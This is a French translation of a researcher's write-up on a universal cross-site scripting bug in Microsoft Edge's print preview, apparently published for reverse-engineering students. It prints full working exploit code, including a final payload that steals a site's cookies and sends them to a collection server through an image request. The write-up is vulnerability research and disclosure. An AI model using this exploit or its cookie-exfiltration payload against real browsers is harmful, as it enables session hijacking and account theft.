Microsoft Edge - XSS générique

La traduction de l'article a été préparée spécialement pour les étudiants du cours d' ingénierie inverse .





Universal XSS (uXSS) est un bogue de navigateur qui vous permet d'exécuter du code JavaScript sur n'importe quel site.

Il semble que XSS soit sur tous les sites et cela semble très intéressant. Ce qui est encore plus intéressant, c'est comment j'ai trouvé cette erreur. Habituellement, s'il s'agit de uXSS, cela est probablement dû à l'élément IFRAME ou à l'URL, mais je n'ai jamais pensé trouver une vulnérabilité XSS en utilisant la fonction print() .

Fenêtre d'aperçu


Parlons de ce qui se passe réellement lorsque Edge affiche une fenêtre d'aperçu avant impression.

J'ai toujours pensé qu'il n'y avait qu'une capture d'écran dessinée par une technologie comme Canvas , mais en fait la page que vous allez imprimer est copiée en temp et re-rendue!

Lorsque print() est exécuté sur la page, nous voyons l'activité du système de fichiers suivante dans Process Monitor :



Ainsi, le fichier est créé dans le répertoire temporaire Edge et le contenu de ce fichier est une version légèrement modifiée de la page d'origine que nous avons essayé d'imprimer. Comparons.

Avant d'imprimer:

 <!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <iframe src="https://www.bing.com/?q=example"></iframe> <script> qbutt.onclick=e=>{ window.print(); } </script> </body> </html> 

Après l'impression:

 <!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><META content="text/html; charset=utf-8" http-equiv=Content-Type> <BASE HREF="http://q.leucosite.com:777/printExample.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <IFRAME src="file://C:\Users\Q\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Temp\3P9TBP2L.htm"></IFRAME> <SCRIPT> qbutt.onclick=e=>{ window.print(); } </SCRIPT> </BODY></HTML> 

Il y a plusieurs choses que nous pouvons remarquer de cette comparaison.

  1. Javascript est encodé et rendu de manière incorrecte.
  2. IFRAME pointe désormais vers un autre fichier local dans le même répertoire qui contient le code source du lien bing.com origine.
  3. L'élément HTML possède désormais un attribut particulier __IE_DisplayURL .

Concernant les premier et deuxième points, j'ai effectué plusieurs tests. Au début, je voulais comprendre si je pouvais obtenir du code Javascript valide après avoir changé l'encodage, dans l'espoir qu'à la fin je pourrais exécuter Javascript. Il s'est avéré que tout code à l'intérieur de l'élément < script> , normal ou non, ne sera pas exécuté.

Le deuxième élément m'a aidé à exposer le nom d'utilisateur du système d'exploitation en utilisant la fonctionnalité @media print{} dans CSS et la magie du sélecteur. J'ai pu l'obtenir à partir de la valeur href IFRAME. Mais cela ne suffisait pas.

Sur le troisième paragraphe, c'est devenu intéressant, car cet attribut est extrêmement inhabituel et jusqu'à ce moment je ne l'ai pas rencontré. Je l'ai immédiatement recherché sur Google et j'ai trouvé plusieurs articles, sur la base desquels j'ai réalisé que quelqu'un Masato Kinugawa avait déjà joué avec lui et découvert des bugs sympas.

Après la lecture et un peu de pratique, j'ai constaté que le contexte d'aperçu apprend d'où vient ce document. Cela est logique car Edge ouvre les fichiers à l'aide du schéma file: URI. Avec cet attribut pointant vers la source, vous remarquerez que toutes les demandes provenant du document (dans le cadre de l'aperçu) imiteront exactement le même comportement que si elles provenaient du site Web d'origine.

Comment utiliser cet attribut? Il doit bien y avoir un moyen!

Exécution de code Javascript avec aperçu


Comme je l'ai déjà dit, tout code JavaScript dans la balise de script normale sera bloqué ou simplement ignoré. Mais que se passe-t-il si vous pensez dans une direction différente? J'ai essayé tout ce à quoi je pouvais penser, donc je vais vous éviter de perdre du temps sur de nombreuses tentatives infructueuses et d'aller droit au but.

Ici, nous avons affaire à la fonction d'impression, j'ai donc joué avec des événements liés à l'impression. Le résultat m'a été apporté par "onbeforeprint" , avec l'aide de celui-ci, j'ai eu l'occasion d'implémenter un IFRAME qui pointait vers n'importe quel site Web et Edge n'avait pas besoin de le convertir d'abord en fichier. Presque immédiatement, j'ai essayé d'implémenter un IFRAME qui pointait vers l'URL du code Javascript et la dame! Ce code a été exécuté dans le contexte de l'aperçu.

Test d'injection Javascript:

 <!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <div id="qcontent"></div> <script> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </script> </body> </html> 

Après avoir converti l'aperçu du document:

 <!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com/dl.html"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="http://q.leucosite.com/dl.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <DIV id="qcontent"><IFRAME src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></IFRAME></DIV> <SCRIPT> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </SCRIPT> </BODY></HTML> 

Capture d'écran du résultat:



Ce n'est pas parce que nous pouvons exécuter du code que nous avons terminé. Comme je l'ai dit plus tôt, en raison de l'attribut __IE_DisplayURL toute demande ou appel d'API sera considéré comme sortant du document.

Implémentation UXSS


Maintenant que nous pouvons implémenter notre code exécutable, nous devons en quelque sorte créer notre propre «aperçu de document» avec notre propre __IE_DisplayURL , puis nous pouvons simuler n'importe quel site Web que nous choisissons pour uXSS.

J'ai trouvé qu'en utilisant l' URL Blob, je peux obtenir l'effet souhaité! J'ai donc créé mon propre document imprimable avec mon attribut pointant vers le site cible (dans mon cas bing.com ). Il contenait Javascript IFRAME, qui fonctionnait comme s'il venait de bing.com .

J'ai implémenté le code suivant:

 if (top.location.protocol == 'file:') { setTimeout(function() { top.location = URL.createObjectURL(new Blob([top.document.getElementById('qd').value], { type: 'text/html' })) }, 1000) } 

top.document.getElementById('qd').value est le prochain faux document à imprimer.

 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML> 


Tout ce que je fais, c'est lire document.cookie et les renvoyer au serveur.
Résumons maintenant ce que fait la version finale de l'exploit:

  1. En utilisant l'événement onbeforeprint , onbeforeprint un IFRAME qui pointe vers ma charge utile juste avant l'impression.
  2. Pour initialiser, j'appelle window.print() .
  3. Edge affiche ensuite une fenêtre d'aperçu lors du rendu de mon code incorporé;
  4. Le code Javascript intégré a créé une URL Blob qui contient mon propre bing.com imprimable bing.com et redirige le cadre supérieur vers cette adresse.
  5. Le contexte d'aperçu avant impression pense que le contenu de mon URL Blob est réellement imprimable et définit l'origine du document sur bing.com à l'aide de l'attribut __IE_DisplayURL .
  6. Le faux document imprimable lui-même contient un autre IFRAME qui affiche simplement le document.cookie de bing.com .
  7. uXSS fonctionne!

Code final et vidéo


 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <head> <style>iframe{width:300px;height:300px;}</style> </head> <body> <!-- -----------------------------HTML for our blob------------------------------------ --> <textarea id="qd"> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML> </textarea> <!-- ---------------------------------------------------------------------------- --> <script> var qdiv=document.createElement('div'); document.body.appendChild(qdiv); window.onbeforeprint=function(e){ qdiv.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createObjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}"></iframe>`; } window.print(); </script> <style> </style> </body> </html> 



Liens utiles:

Microsoft.com

Source: https://habr.com/ru/post/fr468097/


All Articles